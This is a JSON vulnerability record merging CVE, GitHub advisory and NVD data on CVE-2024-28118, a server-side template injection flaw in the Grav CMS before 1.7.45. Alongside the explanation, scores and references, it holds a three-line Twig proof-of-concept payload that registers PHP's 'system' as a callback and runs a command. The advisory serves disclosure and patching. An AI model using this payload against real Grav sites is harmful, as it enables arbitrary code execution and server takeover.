{"id":"CVE-2024-28118","aliases":["CVE-2024-28118","GHSA-r6vw-8v8r-pmp4"],"related":[],"kind":"vulnerability","state":"published","title":"Grav vulnerable to Server Side Template Injection (SSTI)","summary":"Grav is an open-source, flat-file content management system. Prior to version 1.7.45, due to the unrestricted access to twig extension class from Grav context, an attacker can redefine config variable. As a result, attacker can bypass a previous SSTI mitigation. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance. Version 1.7.45 contains a fix for this issue.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Grav is an open-source, flat-file content management system. Prior to version 1.7.45, due to the unrestricted access to twig extension class from Grav context, an attacker can redefine config variable. As a result, attacker can bypass a previous SSTI mitigation. Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages. As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance. Version 1.7.45 contains a fix for this issue.","source":"cvelist"},{"lang":"en","text":"### Summary\nDue to the unrestricted access to twig extension class from grav context, an attacker can redefine config variable. As a result, attacker can bypass previous patch.\n\n### Details\nThe twig context has a function declared called getFunction.\n```php\npublic function getFunction($name)\n    {\n        if (!$this->extensionInitialized) {\n            $this->initExtensions();\n        }\n\n        if (isset($this->functions[$name])) {\n            return $this->functions[$name];\n        }\n\n        foreach ($this->functions as $pattern => $function) {\n            $pattern = str_replace('\\\\*', '(.*?)', preg_quote($pattern, '#'), $count);\n\n            if ($count) {\n                if (preg_match('#^'.$pattern.'$#', $name, $matches)) {\n                    array_shift($matches);\n                    $function->setArguments($matches);\n\n                    return $function;\n                }\n            }\n        }\n\n        foreach ($this->functionCallbacks as $callback) {\n            if (false !== $function = \\call_user_func($callback, $name)) {\n                return $function;\n            }\n        }\n\n        return false;\n    }\n```\nThis function, if the value of `$name` does not exist in `$this->functions`, uses call_user_func to execute callback functions stored in `$this->functionCallbacks`.\n\nIt is possible to register arbitrary function using registerUndefinedFunctionCallback, but a callback that has already been registered exists and new callbacks added will not be executed.\n\nThe default function callback is as follows:\n```php\n$this->twig->registerUndefinedFunctionCallback(function (string $name) use ($config) {\n                $allowed = $config->get('system.twig.safe_functions');\n                if (is_array($allowed) and in_array($name, $allowed, true) and function_exists($name)) {\n                    return new TwigFunction($name, $name);\n                }\n                if ($config->get('system.twig.undefined_functions')) {\n                    if (function_exists($name)) {\n                        if (!Utils::isDangerousFunction($name)) {\n                            user_error(\"PHP function {$name}() was used as Twig function. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_functions`\", E_USER_DEPRECATED);\n\n                            return new TwigFunction($name, $name);\n                        }\n\n                        /** @var Debugger $debugger */\n                        $debugger = $this->grav['debugger'];\n                        $debugger->addException(new RuntimeException(\"Blocked potentially dangerous PHP function {$name}() being used as Twig function. If you really want to use it, please add it to system configuration: `system.twig.safe_functions`\"));\n                    }\n\n                    return new TwigFunction($name, static function () {});\n                }\n\n                return false;\n            });\n```\nIf you look at this function, if the value of system.twig.undefined_functions is false, it returns false.\nIn that case, it is possible for our registered callback to be executed.\n\nAt this time, the `Grav\\Common\\Config\\Config` class is loaded within the grav context, and access to the set method is allowed, making it possible to set the value of system.twig.undefined_functions to false.\nAs a result, an attacker can execute any arbitrarily registered callback function.\n\n### PoC\n```\n{{ grav.twig.twig.registerUndefinedFunctionCallback('system') }}\n{% set a = grav.config.set('system.twig.undefined_functions',false) %}\n{{ grav.twig.twig.getFunction('id') }}\n```\n\n![image](https://user-images.githubusercontent.com/46442697/281371295-25174479-e9ab-40ca-8016-99c51f72d7a8.png)\n\n\n### Impact\nTwig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages.\nAs the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Grav es un sistema de gestión de contenidos de archivos planos de código abierto. Antes de la versión 1.7.45, debido al acceso sin restricciones a la clase de extensión twig desde el contexto Grav, un atacante podía redefinir la variable de configuración. Como resultado, el atacante puede eludir una mitigación SSTI previa. El procesamiento Twig de páginas estáticas puede ser habilitado en la portada por cualquier usuario administrativo autorizado a crear o editar páginas. Como el procesador Twig se ejecuta sin entorno de pruebas, este comportamiento se puede utilizar para obtener la ejecución de código arbitrario y elevar los privilegios en la instancia. La versión 1.7.45 contiene una solución para este problema.","source":"nvd"}],"published":"2024-03-21T21:55:11.788Z","modified":"2026-09-10T03:50:10.916Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"rating":"HIGH"}],"cwes":["CWE-94"],"affected":[{"ranges":[{"version":"< 1.7.45","status":"affected"}],"vendor":"getgrav","product":"grav","source":"cvelist"},{"ranges":[{"type":"custom","introduced":"0","fixed":"1.7.45","status":"affected"}],"vendor":"getgrav","product":"grav","cpe":"cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"1.7.45"}],"ecosystem":"Packagist","package":"getgrav/grav","purl":"pkg:composer/getgrav/grav","source":"ghsa"},{"ranges":[{"status":"affected","fixed":"1.7.45"}],"vendor":"getgrav","product":"grav","cpe":"cpe:2.3:a:getgrav:grav:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://github.com/getgrav/grav/security/advisories/GHSA-r6vw-8v8r-pmp4","tags":["exploit","vendor-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/getgrav/grav/commit/de1ccfa12dbcbf526104d68c1a6bc202a98698fe","tags":["patch","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-28118","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/getgrav/grav","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2024-07-08T15:04:35.675Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-28118","url":"https://www.cve.org/CVERecord?id=CVE-2024-28118","licence":"CVE Terms of Use","modified":"2024-08-02T00:48:49.053Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-r6vw-8v8r-pmp4","url":"https://github.com/advisories/GHSA-r6vw-8v8r-pmp4","licence":"CC-BY-4.0","modified":"2026-09-10T03:50:10.916Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-28118","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-28118","licence":"Public domain","modified":"2026-06-17T07:21:00.220Z"}],"updatedAt":"2026-11-25T22:58:37.826Z","epss":{"score":0.0122,"percentile":0.69509,"date":"2026-12-01T12:00:22.000Z"}}